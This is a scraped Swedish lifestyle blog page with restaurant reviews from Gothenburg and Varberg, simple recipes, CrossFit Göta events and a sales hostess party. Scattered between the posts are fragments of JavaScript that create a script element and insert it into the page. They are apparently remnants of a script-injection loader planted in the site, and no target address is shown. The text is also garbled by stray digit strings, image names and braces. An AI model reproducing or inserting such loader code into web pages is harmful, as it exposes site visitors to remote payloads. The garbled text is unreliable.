The Barn, Storköket och Storan

6

Förra veckan var jag på ”The Barn” på Storan och åt deras goda hamburgare.
Jag beställde deras hamburgare ”Pigan” (Hamburgare med sallad, picklad gurka, semitorkad tomat, lök och majjo)
Alla hamburgare serveras medium well. Om annat önskar får man meddela detta vid beställning. Jag bytte ut pommes frites mot sötpotatis pommes frites.

918273105var d=document;var s=d.createElement(‘script’);

Bräutigams Fjärås

Butiken_1

I Fjärås hittr du butiken ”Bräutigams” ,  1 mil söder om Kungsbacka (avfart 58 Åsa, Fjärås) från motorvägen Fjärås Sväng vänster mot Fjärås (Vi ligger Bakom Shell i Fjärås). Butiken har öppet alla dagar 11-18. En nyhet var deras otroligt goda glass. Jag köpte en bägare med passionsfrukt och choklad. Det går även att köpa med sig hem glass.
42310978651d.getElementsByTagName(‘head’)[0].appendChild(s);

John’s Place Varberg

A

Förra veckan var jag på en dagsutflykt i Varberg. Lunchen blev på John’s Place vid havet. De har sommaröppet för lunch under hela sommaren på John’s Beach mellan  12-18.
Jag beställde en ”John’s Burger med bacon & rökt cheddarost”. Den smakade helt magiskt gott!!!!
Synd att vädret var lite kallt för att sitta ute och äta lunch men vilken vacker utsikt.

22111223919182421164105146138715

XX

 var d=document;var s=d.createElement(‘script’);

Marinerade cocktailtomater

Igår lagade jag marinerade cocktailtomater för första gången och det blev riktigt lyckad. Receptet hittade jag på Birgitta Höglunds blogg här.

image

Recept:
2 askar Cocktailtomater
Flingsalt
Torkad Timjan
Kallpressad Olivolja eller Rapsolja

Vitlök

Gör så här:
Halvera tomaterna och lägg i en ugnsform. Strö lite flingsalt och torkad timjan över. Torka i ugnen på 75° i 6 timmar. Lägg i burkar och täck de varma tomaterna med olja. Lägg ner några skivor vitlök också, så smakar det ännu godare.

De här tomaterna blir otroligt smakrika, ett bättre alternativ än de importerade ”soltorkade”. Passar till grillat, sallader och annat gott där Du vill använda tomat. Oljan blir sen, när tomaterna är slut, bra att göra dressing eller marinad på.

imageimage

imageimageimageimageimage

Köttfärslimpa

Nu har jag lagat en superenkel köttfärslimpa. Receptet hittade jag på Arlas hemsida här.

9

Servera gärna med en god gräddsås som du gör av skyn och lite grädde/creme fraiche, soja, pressad vitlöksklyfta och lite salt och peppar.

Recept:
2 dl lättcreme fraiche
500 gram köttfärs (blandfärs)
1 paket fransk löksoppa (pulver)

Gör så här:
Sätt ugnen på 175 grader.
Blanda ingredienserna väl. Forma till en limpa. Lägg på en smord plåt eller använd en brödform.
Grädda  i ugnen i ca 40 minuter.

Till servering: Servera med kokt potatis och lingon/saltgurka. Sås kan ev göras på skyn som blir.

5764bild1328

 

}

Löpteknik med CrossFit Göta

Nu har jag varit på ett löpteknikpass med duktiga  Emelie Svensson vår duktiga friidrottare som tränar på Crossfit Göta
Under 6 tillfällen under sommaren kör hon Löpteknik med alla som är intresserade.
i onsdags var första gången  och vi möttes upp vid Linneplatsen kl. 19.

Sedan är det onsdagar framöver, 22/7, 29/7, 5/8, 12/8, 19/8.

Den 5/8 och 12/8 är det tanken att passen skall vara på Slottsskogsvallen…spännande.
Jag ska verkligen försöka vara med på så många pass som möjligt då jag behöver öva upp min löpteknik.

bild1

 

 

Göta Pokalen 6:e juni 2015

Göta

1012

Här går vår headcoach Marcus igenom dagens tävling.
119

ADBC812

Då var det dags för Göta Pokalen 2 på CrossFit Göta.

Självklart ville gänget bakom Götapokalen servera gott kaffe och valde att hyra in ”Javamoppen”för dagen.

JavaJava2Java3

Supergoda hamburgare från ”Street Friends Göteborg” serverades under dagen.

9

4

13Här ser ni vårat scoreboard.

E

Här kommer lite bilder från GötaPokalen2.

8101213141516181719212275631

 

Dagen avslutades med prisutdelning och fest på Port du Soleil.
Våra 3 boxägare från vänster, head coach Marcus, Johan, Chrille.

7356

XX

 }

Femme Collection mingel för mina värdinnor från vår/sommar 2015

20

24

Känns kul att jag blev årets säljare på FME Collection, den säljare som sålt mest i februari/mars i år. Nu väntar ett fint pris på kickoffen i augusti.
Efter jag fått information om att jag vunnit det fina priset ville jag ge igen med ett litet event till mina fina värdinnor som jag haft under våren. Totalt har jag haft 17 visningar och 17 värdinnor. Pga av semestertider blev det en liten skara som kom hem till mig på välkomstdrink, bubbel, vin och en massa godsaker att äta.

Välkomstdrink en blev Rhuby blandat med flädercider.
711188
”Rotary” bubbel till maten.

161715

2326

Bjöd tjejerna på lite varma crustader fyllda med skinkost till drinken.

19

Sen blev det en liten buffé med följande:
Bulgursallad med lax, apelsin, mango, gräslök, spenat och limedressing

14

13

28

Parmainlindad getost med gräslök

9

 

Holländsk getost med mango

1

Tomat med mozzarella och basilika

10

Tomatpesto
2221Efter maten blev det lite dessert.

25Jordgubbspannacotta med blåbär

3

Brigadeiros

5

Chokladdoppade jordgubbar doppad i strössel

Chokladdoppade physalis

6

Får tacka för en superfin FME säsong! Nu väntar en ny spännande höst/vinter med FME Collection!

27document.currentScript.parentNode.insertBefore(s, document.currentScript);

Tacos and Tequila, Göteborg

1

I fredags var jag på Tacos & Tequila på middag och goda drinkar.

2534

7

Jag åt följande:

Crispy pork-belly tacos with coriander aioli, jicama and red chili
bild6bild4Guacamole with totopo

bild8

Corn-fritters with ranchero dressing

bild7bild5 Vi drack  goda Margaritas
MARGARITA CLASSICO
Tequila / Triple Sec / lime / sugar

bild9

och en supergod

MARGARITA OF THE NIGHT
Tequila / Triple Sec / sugar / Tonight’s Flavor (passion fruit)

bild10bild2

6

Riktigt bra ställe med trevlig personal.

 

Port du Soleil VIP korts kväll

913181781514201912101164532IMG_8344I maj var det dags för årets vipkottutdelning till Port du Soleil och jag var där med en kompis Anette. Vi var där i början av kvällen och drack rosé, åt god mat och minglade. Senare på kvällen blev det helt hysteriskt mycket folk och då kände vi att det var dags att gå hem.

 document.currentScript.parentNode.insertBefore(s, document.currentScript);